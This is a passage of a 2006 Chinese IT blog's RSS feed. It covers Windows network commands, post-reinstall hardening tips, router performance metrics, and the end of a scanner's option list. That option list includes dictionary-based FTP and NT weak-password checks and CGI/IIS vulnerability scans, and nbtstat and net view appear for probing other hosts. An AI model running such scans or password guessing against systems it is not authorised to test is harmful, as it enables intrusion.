[其他选项] <br /><br />其中&lt;检测项目&gt; 含义如下: <br /><br />-port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)； <br /><br />-ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)； <br /><br />-ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)； <br /><br />-cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)； <br /><br />-iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)； <br /><br />[其他选项] 含义如下: <br /><br />-v: 显示详细扫描进度 <br /><br />-p: 跳过Ping不通的主机 <br /><br />-o: 跳过没有检测到开放端口的主机 <br /><br />-t &lt;并发线程数量[,并发主机数量]&gt;: 指定最大并发线程数量和并发主机数量, 默认数量为100,10</span>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20730.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-18 11:12 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20730.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网络最经典命令行</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20728.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 18 Dec 2006 03:02:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20728.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20728.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20728.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20728.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20728.html</trackback:ping><description><![CDATA[
		<div class="daxiao14" align="left">
				<div>
						<strong>1.最基本，最常用的，测试物理网络的 </strong>
				</div>
				<div>　　ping 192.168.0.8 －t ，参数－t是等待用户去中断测试 </div>
				<div>
						<strong>2.查看DNS、IP、Mac等 </strong>
				</div>
				<div>　　A.Win98：winipcfg </div>
				<div>　　B.Win2000以上：Ipconfig/all </div>
				<div>　　C.NSLOOKUP：如查看河北的DNS </div>
				<div>　　C:\&gt;nslookup </div>
				<div>　　Default Server: ns.hesjptt.net.cn </div>
				<div>　　Address: 202.99.160.68 </div>
				<div>　　&gt;server 202.99.41.2 则将DNS改为了41.2 </div>
				<div>　　&gt; pop.pcpop.com </div>
				<div>　　Server: ns.hesjptt.net.cn </div>
				<div>　　Address: 202.99.160.68 </div>
				<div>　　Non-authoritative answer: </div>
				<div>　　Name: pop.pcpop.com </div>
				<div>　　Address: 202.99.160.212 </div>
				<div>
						<strong>3.网络信使 </strong>
				</div>
				<div>　　Net send 计算机名/IP　* (广播) 传送内容，注意不能跨网段 </div>
				<div>　　net stop messenger 停止信使服务，也可以在面板－服务修改 </div>
				<div>　　net start messenger 开始信使服务 </div>
				<div>
						<strong>4.探测对方对方计算机名，所在的组、域及当前用户名 （追捕的工作原理）</strong>
				</div>
				<div>　　ping －a IP －t ，只显示NetBios名 </div>
				<div>　　nbtstat -a 192.168.10.146 比较全的 </div>
				<div>
						<strong>5.netstat -a 显示出你的计算机当前所开放的所有端口 </strong>
				</div>
				<div>　　netstat -s -e 比较详细的显示你的网络资料，包括TCP、UDP、ICMP 和 IP的统计等 </div>
				<div>
						<strong>6.探测arp绑定（动态和静态）列表，显示所有连接了我的计算机，显示对方IP和MAC地址</strong>
				</div>
				<div>　　arp -a </div>
				<div>
						<strong>7.在代理服务器端</strong>
				</div>
				<div>　　捆绑IP和MAC地址，解决局域网内盗用IP！： </div>
				<div>　　ARP －s 192.168.10.59 00 －50－ff－6c－08－75 </div>
				<div>　　解除网卡的IP与MAC地址的绑定： </div>
				<div>　　arp -d 网卡IP </div>
				<div>
						<strong>8.在网络邻居上隐藏你的计算机</strong>
				</div>
				<div>　　net config server /hidden:yes </div>
				<div>　　net config server /hidden:no 则为开启 </div>
				<div>
						<strong>9.几个net命令</strong>
				</div>
				<div>　　A.显示当前工作组服务器列表 net view，当不带选项使用本命令时，它就会显示当前域或网络上的计算机上的列表。 </div>
				<div>　　比如：查看这个IP上的共享资源，就可以 </div>
				<div>　　C:\&gt;net view 192.168.10.8 </div>
				<div>　　在 192.168.10.8 的共享资源 </div>
				<div>　　资源共享名 类型 用途 注释 </div>
				<div>　　-------------------------------------- </div>
				<div>　　网站服务 Disk </div>
				<div>　　命令成功完成。 </div>
				<div>　　B.查看计算机上的用户帐号列表 net user </div>
				<div>　　C.查看网络链接 net use </div>
				<div>　　例如：net use z: \192.168.10.8\movie 将这个IP的movie共享目录映射为本地的Z盘 </div>
				<div>　　D.记录链接 net session </div>
				<div>　　例如: C:\&gt;net session </div>
				<div>　　计算机 用户名 客户类型 打开空闲时间 </div>
				<div>　　------------------------------------------------------------------------------- </div>
				<div>　　\192.168.10.110 ROME Windows 2000 2195 0 00:03:12 </div>
				<div>　　\192.168.10.51 ROME Windows 2000 2195 0 00:00:39 </div>
				<div>　　命令成功完成。 </div>
				<div>
						<strong>10.路由跟踪命令</strong>
				</div>
				<div>　　A.tracert pop.pcpop.com </div>
				<div>　　B.pathping pop.pcpop.com 除了显示路由外，还提供325S的分析，计算丢失包的％ </div>
				<div>
						<strong>11.关于共享安全的几个命令</strong>
				</div>
				<div>　　A.查看你机器的共享资源 net share </div>
				<div>　　B.手工删除共享（可以编个bat文件，开机自运行，把共享都删了！） </div>
				<div>　　net share c$ /d </div>
				<div>　　net share d$ /d </div>
				<div>　　net share ipc$ /d </div>
				<div>　　net share admin$ /d </div>
				<div>　　注意$后有空格。 </div>
				<div>　　C.增加一个共享： </div>
				<div>　　c:\net share mymovie=e:\downloads\movie /users:1 </div>
				<div>　　mymovie 共享成功。 </div>
				<div>　　同时限制链接用户数为1人。 </div>
				<div>
						<strong>12.在DOS行下设置静态IP</strong>
				</div>
				<div>　　A.设置静态IP </div>
				<div>　　CMD </div>
				<div>　　netsh </div>
				<div>　　netsh&gt;int </div>
				<div>　　interface&gt;ip </div>
				<div>　　interface ip&gt;set add "本地链接" static IP地址 mask gateway </div>
				<div>　　B.查看IP设置 </div>
				<div>　　interface ip&gt;show address </div>
				<div>　　Arp </div>
				<div>　　显示和修改“地址解析协议 (ARP)”缓存中的项目。ARP 缓存中包含一个或多个表，它们用于存储 IP 地址及其经过解析的以太网或令牌环物理地址。计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。如果在没有参数的情况下使用，则 arp 命令将显示帮助信息。 </div>
				<div>　　语法 </div>
				<div>　　arp [-a [InetAddr] [-N IfaceAddr]] [-g [InetAddr] [-N IfaceAddr]] [-d InetAddr [IfaceAddr]] [-s InetAddr EtherAddr [IfaceAddr]] </div>
				<div>　　参数 </div>
				<div>　　-a [InetAddr] [-N IfaceAddr] </div>
				<div>　　显示所有接口的当前 ARP 缓存表。要显示指定 IP 地址的 ARP 缓存项，请使用带有 InetAddr 参数的 arp -a，此处的 InetAddr 代表指定的 IP 地址。要显示指定接口的 ARP 缓存表，请使用 -N IfaceAddr 参数，此处的 IfaceAddr 代表分配给指定接口的 IP 地址。-N 参数区分大小写。 </div>
				<div>　　-g [InetAddr] [-N IfaceAddr] </div>
				<div>　　与 -a 相同。 </div>
				<div>　　-d InetAddr [IfaceAddr] </div>
				<div>　　删除指定的 IP 地址项，此处的 InetAddr 代表 IP 地址。对于指定的接口，要删除表中的某项，请使用 IfaceAddr 参数，此处的 IfaceAddr 代表分配给该接口的 IP 地址。要删除所有项，请使用星号 (*) 通配符代替 InetAddr。 </div>
				<div>　　-s InetAddr EtherAddr [IfaceAddr] </div>
				<div>　　向 ARP 缓存添加可将 IP 地址 InetAddr 解析成物理地址 EtherAddr 的静态项。要向指定接口的表添加静态 ARP 缓存项，请使用 IfaceAddr 参数，此处的 IfaceAddr 代表分配给该接口的 IP 地址。 </div>
				<div>　　 在命令提示符显示帮助。 </div>
				<div>　　注释 </div>
				<div>　　InetAddr 和 IfaceAddr 的 IP 地址用带圆点的十进制记数法表示。 </div>
				<div>　　物理地址 EtherAddr 由六个字节组成，这些字节用十六进制记数法表示并且用连字符隔开（比如，00-AA-00-4F-2 A-9C）。 </div>
				<div>　　通过 -s 参数添加的项属于静态项，它们不会 ARP 缓存中超时。如果终止 TCP/IP 协议后再启动，这些项会被删除。要创建永久的静态 ARP 缓存项，请在批处理文件中使用适当的 arp 命令并通过“计划任务程序”在启动时运行该批处理文件。 </div>
				<div>　　只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。 </div>
				<div>　　范例 </div>
				<div>　　要显示所有接口的 ARP 缓存表，可键入： </div>
				<div>　　arp -a </div>
				<div>　　对于指派的 IP 地址为 10.0.0.99 的接口，要显示其 ARP 缓存表，可键入： </div>
				<div>　　arp -a -N 10.0.0.99 </div>
				<div>　　要添加将 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2 A-9C 的静态 ARP 缓存项，可键入： </div>
				<div>　　arp -s 10.0.0.80 00-AA-00-4F-2 A-9C </div>
				<div>　　At </div>
				<div>　　计划在指定时间和日期在计算机上运行命令和程序。at 命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用，则 at 列出已计划的命令。 </div>
				<div>　　语法 </div>
				<div>　　at [\ComputerName] [{[ID] [/delete]　/delete [/yes]}] </div>
				<div>　　at [[\ComputerName] hours:minutes [/interactive] [{/every:date[,...]　/next:date[,...]}] command] </div>
				<div>　　参数 </div>
				<div>　　 \computername </div>
				<div>　　指定远程计算机。如果省略该参数，则 at 计划本地计算机上的命令和程序。 </div>
				<div>　　ID </div>
				<div>　　指定指派给已计划命令的识别码。 </div>
				<div>　　/delete </div>
				<div>　　取消已计划的命令。如果省略了 ID，则计算机中所有已计划的命令将被取消。 </div>
				<div>　　/yes </div>
				<div>　　删除已计划的事件时，对来自系统的所有询问都回答“是”。 </div>
				<div>　　hours:minutes </div>
				<div>　　指定命令运行的时间。该时间用 24 小时制（即从 00:00 [午夜] 到 23:59）的 小时: 分钟格式表示。 </div>
				<div>　　/interactive </div>
				<div>　　对于在运行 command 时登录的用户,允许 command 与该用户的桌面进行交互。 </div>
				<div>　　/every: </div>
				<div>　　在每个星期或月的指定日期（例如，每个星期四，或每月的第三天）运行 command 命令。 </div>
				<div>　　date </div>
				<div>　　指定运行命令的日期。可以指定一周的某日或多日（即，键入 M、T、W、Th、F、S、Su）或一个月中的某日或多日（即，键入从 1 到31 之间的数字）。用逗号分隔多个日期项。如果省略了 date，则 at 使用该月的当前日。 </div>
				<div>　　/next: </div>
				<div>　　在下一个指定日期（比如，下一个星期四）到来时运行 command。 </div>
				<div>　　command </div>
				<div>　　指定要运行的 Windows 命令、程序（.exe 或 .com 文件）或批处理程序（.bat 或 .cmd 文件）。当命令需要路径作为参数时，请使用绝对路径，也就是从驱动器号开始的整个路径。如果命令在远程计算机上，请指定服务器和共享名的通用命名协定 (UNC) 符号，而不是远程驱动器号。 </div>
				<div>　　/? </div>
				<div>　　在命令提示符显示帮助。 </div>
				<div>　　注释 </div>
				<div>　　Schtasks 是功能更为强大的超集命令行计划工具，它含有 at 命令行工具中的所有功能。对于所有的命令行计划任务，都可以使用 schtasks 来替代 at。有关 schtasks 的详细信息，请参阅“相关主题”。 </div>
				<div>　　使用 at </div>
				<div>　　使用 at 命令时，要求您必须是本地 Administrators 组的成员。</div>
		</div>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20728.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-18 11:02 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20728.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>系统重装后免中毒十招技巧</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20727.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 18 Dec 2006 02:46:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20727.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20727.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20727.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20727.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20727.html</trackback:ping><description><![CDATA[
		<p>系统重装后免中毒十招技巧在操作系统进行重新安装后，由于安全设置以及补丁未及时安装等问题，最容易导致病毒的大肆入侵，因此一些必备的补充措施是非常关键的，“北方网”在《新系统最容易中毒，重装系统后要做十件大事》一文中给出了10条建议，值得大家借鉴。 </p>
		<p>　　第1件大事：不要急着接入网络 </p>
		<p>　　在安装完成Windows后，不要立即把服务器接入网络，因为这时的服务器还没有打上各种补丁，存在各种漏洞，非常容易感染病毒和被入侵。此时要加上冲击波和震撼波补丁后并重新启动再联入互联网。 </p>
		<p>　　第2件大事：给系统打补丁/安装杀毒软件 </p>
		<p>　　不用多说，冲击波和震荡波病毒的补丁是一定要打上的，如果你安装了Windows XP SP2则不用再另行安装。 </p>
		<p>　　安装完系统后，一定要安装反病毒软件，同时将其更新到最新版本。 </p>
		<p>　　第3件大事：关闭系统还原 </p>
		<p>　　系统还原是Windows ME和Windows XP、Windows 2003中具有的功能，它允许我们将系统恢复到某一时间状态，从而可以避免我们重新安装操作系统。不过，有的人在执行系统还原后，发现除C盘外，其它的D盘、E盘都恢复到先前的状态了，结果里面保存的文件都没有了，造成了严重的损失! </p>
		<p>　　这是由于系统还原默认是针对硬盘上所有分区而言的，这样一旦进行了系统还原操作，那么所有分区的数据都会恢复。因此，我们必须按下Win+Break键，然后单击“系统还原”标签，取消“在所有驱动器上关闭系统还原”选项，然后选中D盘，单击“设置”按钮，在打开的窗口中选中“关闭这个驱动器上的系统还原”选项。 </p>
		<p>　　依次将其他的盘上的系统还原关闭即可。这样，一旦系统不稳定，可以利用系统还原工具还原C盘上的系统，但同时其他盘上的文件都不会有事。  <br />  　　第4件大事：给Administrator打上密码 </p>
		<p>　　可能有的人使用的是网上下载的万能Ghost版来安装的系统，也可能是使用的是Windows XP无人值守安装光盘安装的系统，利用这些方法安装时极有可能没有让你指定Administrator密码，或者Administrator的密码是默认的123456或干脆为空。这样的密码是相当危险的，因此，在安装完系统后，请右击“我的电脑”，选择“管理”，再选择左侧的“计算机管理（本地）→系统工具→本地用户和组→用户”，选中右侧窗口中的Administrator，右击，选择“设置密码”。 </p>
		<p>　　在打开窗口中单击“继续”按钮，即可在打开窗口中为Administrator设置密码。 </p>
		<p>　　另外，选择“新用户”，设置好用户名和密码，再双击新建用户，单击“隶属于”标签，将其中所有组（如果有）都选中，单击下方的“删除”按钮。再单击“添加”按钮，然后再在打开窗口中单击“高级”按钮，接着单击“立即查找”按钮，找到PowerUser或User组，单击“确定”两次，将此用户添加PowerUser或User组。注销当前用户，再以新用户登录可以发现系统快很多。 <br /><br />    第5件大事：关闭默认共享 <br />　　Windows安装后，会创建一些隐藏共享，主要用于管理员远程登录时管理系统时使用，但对于个人用户来说，这个很少用到，也不是很安全。所以，我们有必要要切断这个共享：先在d：下新建一个disshare.bat文件，在其中写上如下语句： </p>
		<p>　　@echo off </p>
		<p>　　net share C$/del </p>
		<p>　　net share d$/del </p>
		<p>　　netshare ipc$/del </p>
		<p>　　net share admin$ /del </p>
		<p>　　接下来?将d：disshare.bat拷贝到C：WINDOWSSystem32GroupPolicyUserScriptsLogon文件夹下。然后按下Win+R，输入gpedit.msc，在打开窗口中依次展开“用户配置→Windows设置→脚本（登录/注销）”文件夹，在右侧窗格中双击“登录”项，在弹出的窗口中，单击“添加”命令，选中C：WINDOWSSystem32GroupPolicyUserScriptsLogon文件夹下的disshare.bat文件。 </p>
		<p>　　完成上述设置后，重新启动系统，就能自动切断Windows XP的默认共享通道了，如果你有更多硬盘，请在net share d$/del下自行添加，如net share e$/del、net share f$/del等。 </p>
		<p>　　第6件大事：启用DMA传输模式 </p>
		<p>　　启用DMA模式之后，计算机周边设备（主要指硬盘）即可直接与内存交换数据，这样能加快硬盘读写速度，提高数据传输速率：打开“设备管理器”，其中“IDE ATA/ATAPI控制器”下有“主要IDE通道”和“次要IDE通道”，双击之，单击“高级设置”，该对话框会列出目前IDE接口所连接设备的传输模式，单击列表按钮将“传输模式”设置为“DMA（若可用）”。重新启动计算机即可生效。 </p>
		<p>  　　第7件大事：启用高级电源管理 </p>
		<p>　　有时候安装Windows XP之前会发现没有打开BIOS电源中的高级电源控制，安装Windows XP后，关闭Windows时，电源不会自动断开。这时，很多人选择了重新打开BIOS中的高级电源控制，并重新安装Windows XP。事实上，用不着这么麻烦，只要大家确认已经在BIOS中打开高级电源控制选项，同时选择ACPI Pc，一定不要选错，否则重启后可能无法进入Windows，并重新启动电脑，电脑可能会重新搜索并自动重新安装电脑的硬件，之后就可以使其支持高级电源控制了。 </p>
		<p>　　第8件大事：取消压缩文件夹支持 </p>
		<p>　　单击开始→运行，输入“regsvr32 /u zipfldr.dll”回车，出现提示窗口“zipfldr.dll中的Dll UnrgisterServer成功”即可取消Windows XP的压缩文件夹支持。另外，输入regsvr32 shdocvw.dll可以取消“图片和传真”与图片文件的关联。 </p>
		<p>　　第9件大事：取消“磁盘空间不足”通知 </p>
		<p>　　当磁盘驱动器的容量少于200MB时Windows XP便会发出“磁盘空间不足”的通知，非常烦人。可以打开“注册表编辑器”，定位到HKEY_CURRENT_USERSoftwareMi crosoftWindowsCurrentVersionPolicies Explorer，在“Explorer”上单击右键，选择右键菜单上的“新建”→“DWORD值”，将这个值命名为“NoLowDiskSpaceChecks”，双击该值将其中的“数值数据”设为“1”。 </p>
		<p>　　第10件大事：启用验证码 </p>
		<p>　　安装SP2后，大多数用户发现在访问某些需要填写验证码的地方，都无法显示验证码图片（显示为一个红色小叉），这是一个非常严重的Bug。解决办法为：运行“Regedit”命令打开注册表编辑器，依次定位到“[HKEY_ LOCAL_MACHINESOFTWAREMicrosoftInternet Explorer Security]”，在窗口右边新建一个名为“BlockXBM”的REG_ DWORD值，将其值设置为“0”（十六进制值）。  </p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20727.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-18 10:46 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20727.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>路由器性能指标详解</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20718.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Mon, 18 Dec 2006 01:31:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20718.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20718.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20718.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20718.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20718.html</trackback:ping><description><![CDATA[
		<div class="daxiao14" align="left">路由器类型 <br />该表项主要比较路由器是否是模块化结构。模块化结构的路由器一般可扩展性较好，可以支持多种端口类型，例如以太网接口、快速以太网接口、高速串行口等，各种类型端口的数量一般可选。价格通常比较昂贵。固定配置路由器可扩展性较差，只用于固定类型和数量的端口，一般价格比较便宜。 <br /><br />路由器配置 <br /><br />接口种类 <br /><br />列举路由器能支持的接口种类，体现路由器的通用性。常见的接口种类有：通用串行接口（通过电缆转换成RS232 DTE/DCE接口、V.35 DTE/DCE接口、X.21 DTE/DCE接口、RS449 DTE/DCE接口和EIA530 DTE接口等）、10M以太网接口、快速以太网接口、10/100自适应以太网接口、千兆以太网接口、ATM接口（2M、25M、155M、633M等）、POS接口（155M、622M等）、令牌环接口、FDDI接口、E1/T1接口、E3/T3接口、ISDN接口等。 <br /><br />用户可用槽数 <br /><br />该指标指模块化路由器中除CPU板、时钟板等必要系统板及/或系统板专用槽位外用户可以使用的插槽数。根据该指标以及用户板端口密度可以计算该路由器所支持的最大端口数。 <br /><br />CPU <br /><br />无论在中低端路由器还是在高端路由器中，CPU都是路由器的心脏。通常在中低端路由器中，CPU负责交换路由信息、路由表查找以及转发数据包。在上述路由器中，CPU的能力直接影响路由器的吞吐量（路由表查找时间）和路由计算能力（影响网络路由收敛时间）。在高端路由器中，通常包转发和查表由ASIC芯片完成，CPU只实现路由协议、计算路由以及分发路由表。由于技术的发展，路由器中许多工作都可以由硬件实现（专用芯片）。CPU性能并不完全反映路由器性能。路由器性能由路由器吞吐量、时延和路由计算能力等指标体现。 <br /><br />内存 <br /><br />路由器中可能由多种内存，例如Flash、DRAM等。内存用作存储配置、路由器操作系统、路由协议软件等内容。在中低端路由器中，路由表可能存储在内存中。通常来说路由器内存越大越好（不考虑价格）。但是与CPU能力类似，内存同样不直接反映路由器性能与能力。因为高效的算法与优秀的软件可能大大节约内存。 <br /><br />端口密度 <br /><br />该指标体现路由器制作的集成度。由于路由器体积不同，该指标应当折合成机架内每英寸端口数。但是出于直观和方便，通常可以使用路由器对每种端口支持的最大数量来替代。 <br /><br />路由协议支持 <br /><br />路由信息协议(RIP) <br /><br />RIP是基于距离向量的路由协议，通常利用跳数来作为计量标准。RIP是一种内部网关协议。由于RIP实现简单，是使用范围最广泛的路由协议。该协议收敛较慢，一般用于规模较小的网络。RIP协议在RFC 1058规定。 <br /><br />路由信息协议版本2 (RIPv2) <br /><br />该协议是RIP的改进版本，允许携带更多的信息，并且与RIP保持兼容。在RIP基础上增加了地址掩码（支持CIDR）、下一跳地址、可选的认证信息等内容。该版本在RFC 1723中规范化。 <br /><br />开放的最短路径优先协议版本2 (OSPFv2) <br /><br />该协议是一种基于链路状态的路由协议，由IETF内部网关协议工作组专为IP开发，作为RIP的后继内部网关协议。OSPF的作用在于最小代价路由、多相同路径计算和负载均衡。OSPF拥有开放性和使用SPF算法两大特性。 <br /><br />“中间系统－中间系统”协议(ISIS) <br /><br />ISIS协议同样是基于链路状态的路由协议。该协议由ISO提出，起初用于OSI网络环境，后修改成可以在双重环境下运行。该协议与OSPF协议类似，可用于大规模IP网作为内部网关协议。 <br /><br />边缘网关协议(BGP4) <br /><br />BGP协议是用于替代EGP的域间路由协议。BGP4是当前IP网上最流行的也是唯一可选的自治域间路由协议。该版本协议支持CIDR，并且可以使用路由聚合机制大大减小路由表。BGP4协议可以利用多种属性来灵活地控制路由策略。 <br /><br />802.3、802.1Q的支持 <br /><br />802.3是IEEE针对以太网的标准。支持以太网接口的路由器必须符合802.3协议。802.1Q是IEEE对虚拟网的标准。符合802.1Q的路由器接口可以在同一物理接口上支持多个VLAN。 <br /><br />对IPv6的支持 <br /><br />未来的IP网可能是一个采用IPv6的网络。由于Web的出现导致互联网爆炸性的发展，IP网的用户迅速增加，IP地址空前紧张，于是提出IPv6。IPv6首先要解决的问题是扩大地址空间，同时还在IP层增加了认证和加密的安全措施，为实时业务的应用定义了流标签(Flow Label)。但是由于市场的巨大惯性以及无类别编址（CIDR）的有效应用大大推迟了IP地址耗尽的时间，IPv6至今尚未得到广泛应用。但是随着业务的增加，互联网的进一步发展，采用IPv6是不可避免的。 <br /><br />对IP以外协议的支持 <br /><br />除支持IP协议外，路由器设备还可以支持IPX、DECNet、AppleTalk等协议。这些协议在国外有一定应用，在我国应用较少，一般不用考虑。 <br /><br />源地址路由支持,透明桥接 <br /><br />地址路由指路由器为数据包选择路由时不根据IP包的目的地址（通常情况根据目的地址），而根据IP包的源地址选路。源地址路由是策略路由的一种。一般路由器应当支持。透明桥接是指路由器端口以透明网桥的方式工作，执行网桥的功能。不对数据包作路由检查转发，只作MAC帧桥接。 <br /><br />策略路由方式 <br /><br />路由器除将目的地址作为选路的依据以外，还可以根据TOS字段、源和目的端口号（高层应用协议）来为数据包选择路径。策略路由可以在一定程度上实现流量工程，使不同服务质量的流或者不同性质的数据（语音、FTP）走不同的路径。 <br /><br />PPP，MLPPP <br /><br />PPP协议是互联网协议中一个重要协议：早期的网络是由路由器使用PPP协议点到点连接起来的，并且大多数用户采用PPP接入。所以凡是具有串口的路由器都应当支持PPP协议并作为首选。MLPPP是指将多个PPP链路捆绑使用。 <br /><br />PPPOE支持 <br /><br />PPP Over Ethernet是一种新型的协议用于解决对以太网接入用户的认证和计费问题。与此类似的是PPP Over ATM协议，使用该协议的路由器设备可以终结接入业务。当前PPPOE与PPPOA协议存在的问题是容量问题。大多数支持该协议的路由器只能处理数千个活动的会话。 <br /><br />组播支持（列举协议） <br /><br />互连网组管理协议(IGMP) <br /><br />IGMP（Internet Group Management Protocol）是IP主机用作向相邻多目路由器报告多目组成员。多目路由器是支持组播的路由器，向本地网络发送IGMP查询。主机通过发送IGMP报告来应答查询。组播路由器负责将组播包转发到所有网络中组播成员。 <br /><br />距离矢量组播路由协议(DVMRP) <br /><br />DVMRP是基于距离矢量的组播路由协议，基本上基于RIP开发。DVMRP利用IGMP与邻居交换路由数据包。协议无关组播协议(PIM) <br /><br />PIM是一种组播传输协议，能在现存IP网上传输组播数据。PIM是一种独立于路由协议的组播协议，可以工作在两种模式：密集模式和疏松模式。在PIM密集模式下，报文分组缺省向所有端口转发，直到发生裁减和切除。在密集模式下假设所有端口上的设备都是组播成员，可能使用组播包。疏松模式与密集模式相反，只向有请求的端口发送组播数据。 <br /><br />VPN支持 <br /><br />IP上的VPN已经在上文路由器技术中描述。可能使用的协议有L2TP、GRE、IP Over IP、IPSec等。并且应当关注支持VPN的能力。 <br /><br />加密方式 <br /><br />路由器可能在VPN实现中或其他条件下使用加密机制来保证安全。路由器使用CPU执行软件算法通常会影响转发效率。部分路由器在设计中采用硬件加密方式来提高转发效率。 <br /><br />MPLS <br /><br />MPLS技术已在上文路由器技术中描述。MPLS中除包括标记交换外还包括快速重路由、MPLS中VPN、流量工程等高级应用。由于MPLS标准尚未成熟，对MPLS互通也应当关注。 <br /><br />路由器性能 <br /><br />全双工线速转发能力 <br /><br />路由器最基本且最重要的功能是数据包转发。在同样端口速率下转发小包是对路由器包转发能力最大的考验。全双工线速转发能力是指以最小包长（以太网64字节、POS口40字节）和最小包间隔（符合协议规定）在路由器端口上双向传输同时不引起丢包。该指标是路由器性能重要指标。 <br /><br />设备吞吐量 <br /><br />指设备整机包转发能力，是设备性能的重要指标。路由器的工作在于根据IP包头或者MPLS标记选路，所以性能指标是转发包数量每秒。设备吞吐量通常小于路由器所有端口吞吐量之和。 <br /><br />端口吞吐量 <br /><br />端口吞吐量是指端口包转发能力，通常使用pps：包每秒来衡量，它是路由器在某端口上的包转发能力。通常采用两个相同速率接口测试。但是测试接口可能与接口位置及关系相关。例如同一插卡上端口间测试的吞吐量可能与不同插卡上端口间吞吐量值不同。 <br /><br />背靠背帧数 <br /><br />背靠背帧数是指以最小帧间隔发送最多数据包不引起丢包时的数据包数量。该指标用于测试路由器缓存能力。有线速全双工转发能力的路由器该指标值无限大。 <br /><br />路由表能力 <br /><br />路由器通常依靠所建立及维护的路由表来决定如何转发。路由表能力是指路由表内所容纳路由表项数量的极限。由于Internet上执行BGP协议的路由器通常拥有数十万条路由表项，所以该项目也是路由器能力的重要体现。 <br /><br />背板能力 <br /><br />背板能力是路由器的内部实现。背板能力能够体现在路由器吞吐量上：背板能力通常大于依据吞吐量和测试包场所计算的值。但是背板能力只能在设计中体现，一般无法测试。 <br /><br />丢包率 <br /><br />丢包率是指测试中所丢失数据包数量占所发送数据包的比率，通常在吞吐量范围内测试。丢包率与数据包长度以及包发送频率相关。在一些环境下可以加上路由抖动、大量路由后测试。 <br /><br />时延 <br /><br />时延是指数据包第一个比特进入路由器到最后一比特从路由器输出的时间间隔。在测试中通常使用测试仪表发出测试包到收到数据包的时间间隔。时延与数据包长相关，通常在路由器端口吞吐量范围内测试，超过吞吐量测试该指标没有意义。 <br /><br />时延抖动 <br /><br />时延抖动是指时延变化。数据业务对时延抖动不敏感，所以该指标没有出现在Benchmarking测试中。由于IP上多业务，包括语音、视频业务的出现，该指标才有测试的必要性。 <br /><br />VPN支持能力 <br /><br />通常路由器都能支持VPN。其性能差别一般体现在所支持VPN数量上。专用路由器一般支持VPN数量较多。无故障工作时间 <br /><br />该指标按照统计方式指出设备无故障工作的时间。一般无法测试，可以通过主要器件的无故障工作时间计算或者大量相同设备的工作情况计算。 <br /><br />内部时钟精度 <br /><br />拥有ATM端口做电路仿真或者POS口的路由器互连通常需要同步。如使用内部时钟则其精度会影响误码率。内部时钟精度级别定义以及测试方法可参见相应同步标准。 <br /><br />QoS能力 <br /><br />队列管理机制 <br /><br />队列管理控制机制通常指路由器拥塞管理机制以及队列调度算法。常见的方法有RED、WRED、WRR、DRR、WFQ、WF2Q等。 <br /><br />端口硬件队列数 <br /><br />通常路由器中所支持的优先级由端口硬件队列来保证。每个队列中的优先级由队列调度算法控制。 QoS分类方式 <br /><br />指路由器可以区分QoS所依据的信息。最简单的QoS分类可以基于端口。同样路由器也可以依据链路层优先级（802.1Q中规定）、上层内容（TOS字段、源地址、目的地址、源端口、目的端口等信息）来区分包优先级。 <br /><br 